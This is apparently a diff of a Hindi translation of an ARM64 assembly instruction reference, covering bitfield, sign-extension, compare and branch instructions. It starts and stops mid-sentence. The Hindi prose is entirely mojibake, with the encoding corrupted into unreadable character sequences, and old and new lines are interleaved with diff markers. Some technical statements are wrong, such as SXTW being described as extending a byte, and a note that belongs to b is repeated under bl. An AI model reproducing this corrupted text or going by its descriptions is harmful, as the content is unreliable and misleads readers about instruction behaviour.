рдШреБрдорд╛рдиреЗ рдХреА рдорд╛рддреНрд░рд╛** рдХреЛред -- рдмрд┐рдЯрдлрд╝реАрд▓реНрдб рдореВрд╡: `BFM Xd, Xn, #r` -- рд╕рд╛рдЗрди рдмрд┐рдЯрдлрд╝реАрд▓реНрдб рдореВрд╡: `SBFM Xd, Xn, #r, #s` -- рдЕрдирд╕рд╛рдЗрди рдмрд┐рдЯрдлрд╝реАрд▓реНрдб рдореВрд╡: `UBFM Xd, Xn, #r, #s` -- **рдмрд┐рдЯрдлрд╝реАрд▓реНрдб рдирд┐рдХрд╛рд▓реЗрдВ рдФрд░ рдбрд╛рд▓реЗрдВ:** рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реЗ рдПрдХ рдмрд┐рдЯрдлрд╝реАрд▓реНрдб рдХреЛ рдХреЙрдкреА рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рджреВрд╕рд░реЗ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред +- **рд▓реЙрдЬрд┐рдХрд▓ рд╢рд┐рдлреНрдЯ рд▓реЗрдлреНрдЯ**: рдЕрдВрдд рд╕реЗ 0 рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЕрдиреНрдп рдмрд┐рдЯреНрд╕ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рдПрдВ (n-рдмрд╛рд░ 2 рд╕реЗ рдЧреБрдгрд╛ рдХрд░реЗрдВ) +- **рд▓реЙрдЬрд┐рдХрд▓ рд╢рд┐рдлреНрдЯ рд░рд╛рдЗрдЯ**: рд╢реБрд░реБрдЖрдд рдореЗрдВ 1 рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЕрдиреНрдп рдмрд┐рдЯреНрд╕ рдХреЛ рдкреАрдЫреЗ рдХреА рдУрд░ рдмрдврд╝рд╛рдПрдВ (unsigned рдореЗрдВ n-рдмрд╛рд░ 2 рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░реЗрдВ) +- **рдЕрд░реНрдердореИрдЯрд┐рдХ рд╢рд┐рдлреНрдЯ рд░рд╛рдЗрдЯ**: **`lsr`** рдХреА рддрд░рд╣, рд▓реЗрдХрд┐рди рдпрджрд┐ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдЯ 1 рд╣реИ, рддреЛ 0 рдЬреЛрдбрд╝рдиреЗ рдХреЗ рдмрдЬрд╛рдп, **1 рдЬреЛрдбрд╝реЗ рдЬрд╛рддреЗ рд╣реИрдВ** (signed рдореЗрдВ n-рдмрд╛рд░ 2 рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░реЗрдВ) +- **рд░реЛрдЯреЗрдЯ рд░рд╛рдЗрдЯ**: **`lsr`** рдХреА рддрд░рд╣, рд▓реЗрдХрд┐рди рдЬреЛ рдХреБрдЫ рднреА рджрд╛рдИрдВ рдУрд░ рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЙрд╕реЗ рдмрд╛рдИрдВ рдУрд░ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред +- **рд░реЛрдЯреЗрдЯ рд░рд╛рдЗрдЯ рд╡рд┐рдж рдПрдХреНрд╕рдЯреЗрдВрдб**: **`ror`** рдХреА рддрд░рд╣, рд▓реЗрдХрд┐рди рдХреИрд░реА рдзреНрд╡рдЬ рдХреЛ "рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдЯ" рдХреЗ рд░реВрдк рдореЗрдВред рдЗрд╕рд▓рд┐рдП рдХреИрд░реА рдзреНрд╡рдЬ рдХреЛ рдмрд┐рдЯ 31 рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рдмрд┐рдЯ рдХреИрд░реА рдзреНрд╡рдЬ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИред +- **`bfm`**: **рдмрд┐рдЯ рдлреАрд▓реНрдб рдореВрд╡**, рдпреЗ рдСрдкрд░реЗрд╢рди **`0...n`** рд╕реЗ рдмрд┐рдЯреНрд╕ рдХреЛ рдПрдХ рдорд╛рди рд╕реЗ рдХреЙрдкреА рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ **`m..m+n`** рдореЗрдВ рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рд░рдЦрддреЗ рд╣реИрдВред **`#s`** рд╕рдмрд╕реЗ рдмрд╛рдИрдВ рдмрд┐рдЯ рд╕реНрдерд┐рддрд┐ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ **`#r`** рджрд╛рдИрдВ рдУрд░ рдШреБрдорд╛рдиреЗ рдХреА рдорд╛рддреНрд░рд╛ рдХреЛред +- рдмрд┐рдЯрдлреАрд▓реНрдб рдореВрд╡: `BFM Xd, Xn, #r` +- рд╕рд╛рдЗрди рдмрд┐рдЯрдлреАрд▓реНрдб рдореВрд╡: `SBFM Xd, Xn, #r, #s` +- рдЕрдирд╕рд╛рдЗрди рдмрд┐рдЯрдлреАрд▓реНрдб рдореВрд╡: `UBFM Xd, Xn, #r, #s` +- **рдмрд┐рдЯрдлреАрд▓реНрдб рдирд┐рдХрд╛рд▓реЗрдВ рдФрд░ рдбрд╛рд▓реЗрдВ:** рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реЗ рдмрд┐рдЯрдлреАрд▓реНрдб рдХреЛ рдХреЙрдкреА рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рджреВрд╕рд░реЗ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред - **`BFI X1, X2, #3, #4`** X1 рдХреЗ 3рд╡реЗрдВ рдмрд┐рдЯ рд╕реЗ X2 рдХреЗ 4 рдмрд┐рдЯреНрд╕ рдбрд╛рд▓реЗрдВред - **`BFXIL X1, X2, #3, #4`** X2 рдХреЗ 3рд╡реЗрдВ рдмрд┐рдЯ рд╕реЗ рдЪрд╛рд░ рдмрд┐рдЯреНрд╕ рдирд┐рдХрд╛рд▓реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ X1 рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред -- **`SBFIZ X1, X2, #3, #4`** X2 рд╕реЗ 4 рдмрд┐рдЯреНрд╕ рдХреЛ рд╕рд╛рдЗрди-рдПрдХреНрд╕рдЯреЗрдВрдб рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ X1 рдореЗрдВ рдбрд╛рд▓реЗрдВ, рдмрд┐рдЯ рд╕реНрдерд┐рддрд┐ 3 рд╕реЗ рджрд╛рдПрдВ рдмрд┐рдЯреНрд╕ рдХреЛ рд╢реВрдиреНрдп рдХрд░рддреЗ рд╣реБрдПред -- **`SBFX X1, X2, #3, #4`** X2 рд╕реЗ рдмрд┐рдЯ 3 рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ 4 рдмрд┐рдЯреНрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рд╕рд╛рдЗрди-рдПрдХреНрд╕рдЯреЗрдВрдб рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ X1 рдореЗрдВ рд░рдЦрддрд╛ рд╣реИред -- **`UBFIZ X1, X2, #3, #4`** X2 рд╕реЗ 4 рдмрд┐рдЯреНрд╕ рдХреЛ рд╢реВрдиреНрдп-рдПрдХреНрд╕рдЯреЗрдВрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ X1 рдореЗрдВ рдбрд╛рд▓рддрд╛ рд╣реИ, рдмрд┐рдЯ рд╕реНрдерд┐рддрд┐ 3 рд╕реЗ рджрд╛рдПрдВ рдмрд┐рдЯреНрд╕ рдХреЛ рд╢реВрдиреНрдп рдХрд░рддреЗ рд╣реБрдПред -- **`UBFX X1, X2, #3, #4`** X2 рд╕реЗ рдмрд┐рдЯ 3 рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ 4 рдмрд┐рдЯреНрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ рдФрд░ рд╢реВрдиреНрдп-рдПрдХреНрд╕рдЯреЗрдВрдбреЗрдб рдкрд░рд┐рдгрд╛рдо рдХреЛ X1 рдореЗрдВ рд░рдЦрддрд╛ рд╣реИред +- **`SBFIZ X1, X2, #3, #4`** X2 рд╕реЗ 4 рдмрд┐рдЯреНрд╕ рдХреЛ рд╕рд╛рдЗрди-рдПрдХреНрд╕рдЯреЗрдВрдб рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ X1 рдореЗрдВ рдбрд╛рд▓реЗрдВ, рдмрд┐рдЯ рд╕реНрдерд┐рддрд┐ 3 рд╕реЗ рджрд╛рдИрдВ рдмрд┐рдЯреНрд╕ рдХреЛ рд╢реВрдиреНрдп рдХрд░рддреЗ рд╣реБрдПред +- **`SBFX X1, X2, #3, #4`** X2 рд╕реЗ 4 рдмрд┐рдЯреНрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ, рд╕рд╛рдЗрди-рдПрдХреНрд╕рдЯреЗрдВрдб рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ X1 рдореЗрдВ рд░рдЦрддрд╛ рд╣реИред +- **`UBFIZ X1, X2, #3, #4`** X2 рд╕реЗ 4 рдмрд┐рдЯреНрд╕ рдХреЛ рд╢реВрдиреНрдп-рдПрдХреНрд╕рдЯреЗрдВрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ X1 рдореЗрдВ рдбрд╛рд▓рддрд╛ рд╣реИ, рдмрд┐рдЯ рд╕реНрдерд┐рддрд┐ 3 рд╕реЗ рджрд╛рдИрдВ рдмрд┐рдЯреНрд╕ рдХреЛ рд╢реВрдиреНрдп рдХрд░рддреЗ рд╣реБрдПред +- **`UBFX X1, X2, #3, #4`** X2 рд╕реЗ 4 рдмрд┐рдЯреНрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ рдФрд░ рд╢реВрдиреНрдп-рдПрдХреНрд╕рдЯреЗрдВрдбреЗрдб рдкрд░рд┐рдгрд╛рдо рдХреЛ X1 рдореЗрдВ рд░рдЦрддрд╛ рд╣реИред - **рд╕рд╛рдЗрди рдПрдХреНрд╕рдЯреЗрдВрдб рдЯреВ X:** рдПрдХ рдорд╛рди рдХреЗ рд╕рд╛рдЗрди рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ (рдпрд╛ рдЕрдирд╕рд╛рдЗрди рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдХреЗрд╡рд▓ 0 рдЬреЛрдбрд╝рддрд╛ рд╣реИ) рддрд╛рдХрд┐ рдЗрд╕рдХреЗ рд╕рд╛рде рдСрдкрд░реЗрд╢рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ: -- **`SXTB X1, W2`** W2 рд╕реЗ **X1** рддрдХ рдПрдХ рдмрд╛рдЗрдЯ рдХреЗ рд╕рд╛рдЗрди рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ (`W2` `X2` рдХрд╛ рдЖрдзрд╛ рд╣реИ) рддрд╛рдХрд┐ 64-рдмрд┐рдЯ рднрд░реЗред -- **`SXTH X1, W2`** W2 рд╕реЗ **X1** рддрдХ рдПрдХ 16-рдмрд┐рдЯ рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд╕рд╛рдЗрди рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ 64-рдмрд┐рдЯ рднрд░реЗред -- **`SXTW X1, W2`** W2 рд╕реЗ **X1** рддрдХ рдПрдХ рдмрд╛рдЗрдЯ рдХреЗ рд╕рд╛рдЗрди рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ 64-рдмрд┐рдЯ рднрд░реЗред -- **`UXTB X1, W2`** W2 рд╕реЗ **X1** рддрдХ рдПрдХ рдмрд╛рдЗрдЯ рдореЗрдВ 0 рдЬреЛрдбрд╝рддрд╛ рд╣реИ (рдЕрдирд╕рд╛рдЗрди) рддрд╛рдХрд┐ 64-рдмрд┐рдЯ рднрд░реЗред +- **`SXTB X1, W2`** W2 рд╕реЗ X1 рддрдХ рдПрдХ рдмрд╛рдЗрдЯ рдХреЗ рд╕рд╛рдЗрди рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ (`W2` `X2` рдХрд╛ рдЖрдзрд╛ рд╣реИ) рддрд╛рдХрд┐ 64 рдмрд┐рдЯреНрд╕ рдХреЛ рднрд░ рд╕рдХреЗред +- **`SXTH X1, W2`** W2 рд╕реЗ X1 рддрдХ рдПрдХ 16-рдмрд┐рдЯ рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд╕рд╛рдЗрди рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ 64 рдмрд┐рдЯреНрд╕ рдХреЛ рднрд░ рд╕рдХреЗред +- **`SXTW X1, W2`** W2 рд╕реЗ X1 рддрдХ рдПрдХ рдмрд╛рдЗрдЯ рдХреЗ рд╕рд╛рдЗрди рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ 64 рдмрд┐рдЯреНрд╕ рдХреЛ рднрд░ рд╕рдХреЗред +- **`UXTB X1, W2`** W2 рд╕реЗ X1 рддрдХ рдПрдХ рдмрд╛рдЗрдЯ рдореЗрдВ 0 рдЬреЛрдбрд╝рддрд╛ рд╣реИ (рдЕрдирд╕рд╛рдЗрди) рддрд╛рдХрд┐ 64 рдмрд┐рдЯреНрд╕ рдХреЛ рднрд░ рд╕рдХреЗред - **`extr`:** рдирд┐рд░реНрджрд┐рд╖реНрдЯ **рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рдЬреЛрдбрд╝реЗ рд╕реЗ рдмрд┐рдЯреНрд╕ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ**ред - рдЙрджрд╛рд╣рд░рдг: `EXTR W3, W2, W1, #3` рдпрд╣ **W1+W2 рдХреЛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ** рдФрд░ **W2 рдХреЗ рдмрд┐рдЯ 3 рд╕реЗ W1 рдХреЗ рдмрд┐рдЯ 3 рддрдХ** рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ W3 рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред - **`cmp`**: **рджреЛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреА рддреБрд▓рдирд╛ рдХрд░реЗрдВ** рдФрд░ рд╕реНрдерд┐рддрд┐ рдзреНрд╡рдЬ рд╕реЗрдЯ рдХрд░реЗрдВред рдпрд╣ **`subs`** рдХрд╛ рдПрдХ **рдЙрдкрдирд╛рдо** рд╣реИ рдЬреЛ рдЧрдВрддрд╡реНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд╢реВрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рдкрд░ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ рдХрд┐ `m == n`ред @@ -170,21 +170,21 @@ ARM64 рдирд┐рд░реНрджреЗрд╢ рдЖрдорддреМрд░ рдкрд░ **рдлреЙрд░реНрдореЗрдЯ `opco - **`cmn`**: **рдирдХрд╛рд░рд╛рддреНрдордХ** рдСрдкрд░реЗрдиреНрдб рдХреА рддреБрд▓рдирд╛ рдХрд░реЗрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдпрд╣ **`adds`** рдХрд╛ рдПрдХ **рдЙрдкрдирд╛рдо** рд╣реИ рдФрд░ рд╕рдорд╛рди рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ рдХрд┐ `m == -n`ред - **`ccmp`**: рд╢рд░реНрддреАрдп рддреБрд▓рдирд╛, рдпрд╣ рдПрдХ рддреБрд▓рдирд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рддрднреА рдХреА рдЬрд╛рдПрдЧреА рдЬрдм рдПрдХ рдкреВрд░реНрд╡рд╡рд░реНрддреА рддреБрд▓рдирд╛ рд╕рддреНрдп рд╣реЛ рдФрд░ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ nzcv рдмрд┐рдЯреНрд╕ рдХреЛ рд╕реЗрдЯ рдХрд░реЗрдЧреАред - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> рдпрджрд┐ x1 != x2 рдФрд░ x3 < x4, рддреЛ func рдкрд░ рдХреВрджреЗрдВред -- рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ **`ccmp`** рдХреЗрд╡рд▓ рддрдм рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ рдЬрдм **рдкрд┐рдЫрд▓реА `cmp` рдПрдХ `NE`** рдереА, рдпрджрд┐ рдпрд╣ рдирд╣реАрдВ рдереА рддреЛ рдмрд┐рдЯреНрд╕ `nzcv` рдХреЛ 0 рдкрд░ рд╕реЗрдЯ рдХрд░ рджреЗрдВрдЧреЗ (рдЬреЛ `blt` рддреБрд▓рдирд╛ рдХреЛ рд╕рдВрддреБрд╖реНрдЯ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛)ред +- рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **`ccmp`** рдХреЗрд╡рд▓ рддрдм рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ рдЬрдм **рдкрд┐рдЫрд▓реА `cmp` рдПрдХ `NE`** рдереА, рдпрджрд┐ рдпрд╣ рдирд╣реАрдВ рдереА рддреЛ рдмрд┐рдЯреНрд╕ `nzcv` рдХреЛ 0 рдкрд░ рд╕реЗрдЯ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЬреЛ `blt` рддреБрд▓рдирд╛ рдХреЛ рд╕рдВрддреБрд╖реНрдЯ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛)ред - рдЗрд╕реЗ `ccmn` рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рд╕рдорд╛рди рд▓реЗрдХрд┐рди рдирдХрд╛рд░рд╛рддреНрдордХ, рдЬреИрд╕реЗ `cmp` рдмрдирд╛рдо `cmn`)ред -- **`tst`**: рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рддреБрд▓рдирд╛ рдХреЗ рдорд╛рди рджреЛрдиреЛрдВ 1 рд╣реИрдВ (рдпрд╣ рдХрд┐рд╕реА рднреА рдкрд░рд┐рдгрд╛рдо рдХреЛ рдХрд╣реАрдВ рднреА рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдмрд┐рдирд╛ ANDS рдХреА рддрд░рд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ)ред рдпрд╣ рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдорд╛рди рдХреЗ рд╕рд╛рде рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ рдФрд░ рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдорд╛рди рдХреЗ рдмрд┐рдЯреНрд╕ рдореЗрдВ рд╕реЗ рдХреЛрдИ 1 рд╣реИред -- рдЙрджрд╛рд╣рд░рдг: `tst X1, #7` X1 рдХреЗ рдЕрдВрддрд┐рдо 3 рдмрд┐рдЯреНрд╕ рдореЗрдВ рд╕реЗ рдХреЛрдИ 1 рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдЗрд╕рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред +- **`tst`**: рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рддреБрд▓рдирд╛ рдХреЗ рдорд╛рди рджреЛрдиреЛрдВ 1 рд╣реИрдВ (рдпрд╣ рдХрд┐рд╕реА рднреА рдкрд░рд┐рдгрд╛рдо рдХреЛ рдХрд╣реАрдВ рднреА рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдмрд┐рдирд╛ ANDS рдХреА рддрд░рд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ)ред рдпрд╣ рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдорд╛рди рдХреЗ рд╕рд╛рде рдЬрд╛рдВрдЪрдиреЗ рдФрд░ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдорд╛рди рдХреЗ рдмрд┐рдЯреНрд╕ рдореЗрдВ рд╕реЗ рдХреЛрдИ 1 рд╣реИред +- рдЙрджрд╛рд╣рд░рдг: `tst X1, #7` рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ X1 рдХреЗ рдЕрдВрддрд┐рдо 3 рдмрд┐рдЯреНрд╕ рдореЗрдВ рд╕реЗ рдХреЛрдИ 1 рд╣реИред - **`teq`**: XOR рдСрдкрд░реЗрд╢рди рдкрд░рд┐рдгрд╛рдо рдХреЛ рдЫреЛрдбрд╝рдХрд░ред - **`b`**: рдмрд┐рдирд╛ рд╢рд░реНрдд рд╢рд╛рдЦрд╛ред - рдЙрджрд╛рд╣рд░рдг: `b myFunction` -- рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд▓реМрдЯрдиреЗ рдХреЗ рдкрддреЗ рд╕реЗ рдирд╣реАрдВ рднрд░реЗрдЧрд╛ (рдЙрдкрдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЙрд▓ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдирд╣реАрдВ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд╛рдкрд╕ рд▓реМрдЯрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред -- **`bl`**: **рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рд╢рд╛рдЦрд╛**, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ **рдЙрдкрдкреНрд░рдХреНрд░рд┐рдпрд╛** рдХреЛ **рдХреЙрд▓** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред **рд░рд┐рдЯрд░реНрди рдкрддрд╛ `x30` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИ**ред +- рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд▓реМрдЯрдиреЗ рдХреЗ рдкрддреЗ рд╕реЗ рдирд╣реАрдВ рднрд░реЗрдЧрд╛ (рдЙрдкрд╕рдВрд╣рд╛рд░ рдХреЙрд▓ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдирд╣реАрдВ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд╛рдкрд╕ рд▓реМрдЯрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред +- **`bl`**: **рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рд╢рд╛рдЦрд╛**, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ **рдЙрдкрд░реВрдЯреАрди** рдХреЛ **рдХреЙрд▓** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред **рд░рд┐рдЯрд░реНрди рдкрддрд╛ `x30` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИ**ред - рдЙрджрд╛рд╣рд░рдг: `bl myFunction` тАФ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди `myFunction` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд░рд┐рдЯрд░реНрди рдкрддрд╛ `x30` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред -- рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд▓реМрдЯрдиреЗ рдХреЗ рдкрддреЗ рд╕реЗ рдирд╣реАрдВ рднрд░реЗрдЧрд╛ (рдЙрдкрдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЙрд▓ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдирд╣реАрдВ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд╛рдкрд╕ рд▓реМрдЯрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред -- **`blr`**: **рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рд╢рд╛рдЦрд╛ рд░рдЬрд┐рд╕реНрдЯрд░** рдХреЗ рд▓рд┐рдП, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ **рдЙрдкрдкреНрд░рдХреНрд░рд┐рдпрд╛** рдХреЛ **рдХреЙрд▓** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд▓рдХреНрд╖реНрдп **рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ** рд╣реЛрддрд╛ рд╣реИред рд░рд┐рдЯрд░реНрди рдкрддрд╛ `x30` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИред (рдпрд╣ рд╣реИ +- рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд▓реМрдЯрдиреЗ рдХреЗ рдкрддреЗ рд╕реЗ рдирд╣реАрдВ рднрд░реЗрдЧрд╛ (рдЙрдкрд╕рдВрд╣рд╛рд░ рдХреЙрд▓ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдирд╣реАрдВ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд╛рдкрд╕ рд▓реМрдЯрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред +- **`blr`**: **рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рд▓рд┐рдП рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рд╢рд╛рдЦрд╛**, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ **рдЙрдкрд░реВрдЯреАрди** рдХреЛ **рдХреЙрд▓** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд▓рдХреНрд╖реНрдп **рдПрдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ** рд╣реЛрддрд╛ рд╣реИред рд░рд┐рдЯрд░реНрди рдкрддрд╛ `x30` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддрд╛ рд╣реИред (рдпрд╣ рд╣реИ - рдЙрджрд╛рд╣рд░рдг: `blr x1` тАФ рдпрд╣ рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ 